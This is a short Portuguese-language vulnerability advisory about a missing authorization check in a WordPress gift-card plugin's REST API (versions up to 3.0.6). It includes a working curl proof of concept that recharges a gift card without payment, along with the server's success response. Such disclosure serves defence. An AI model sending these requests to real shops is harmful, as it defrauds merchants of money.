
Ultimate Gift Cards for WooCommerce <= 3.0.6 - Autorização Ausente para Falha de Dinheiro Infinito
Ultimate Gift Cards for WooCommerce <= 3.0.6 - Autorização Ausente para Falha de Dinheiro Infinito
O plugin para WordPress Ultimate Gift Cards for WooCommerce – Create WooCommerce Gift Cards, Gift Vouchers, Redeem & Manage Digital Gift Coupons. Offer Gift Certificates, Schedule Gift Cards, and Use Advance Coupons With Personalized Templates está vulnerável a modificação não autorizada de dados devido a uma verificação de capacidade ausente em vários endpoints da API REST, como /wp-json/gifting/recharge-giftcard, em todas as versões até, e incluindo, 3.0.6. Isso possibilita que atacantes não autenticados recarreguem o saldo de um cartão-presente, sem efetuar pagamento, além de reduzir saldos de cartões-presente sem comprar nada.
curl -X POST \
https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
-H 'Content-Type: application/json' \
-d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'
{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}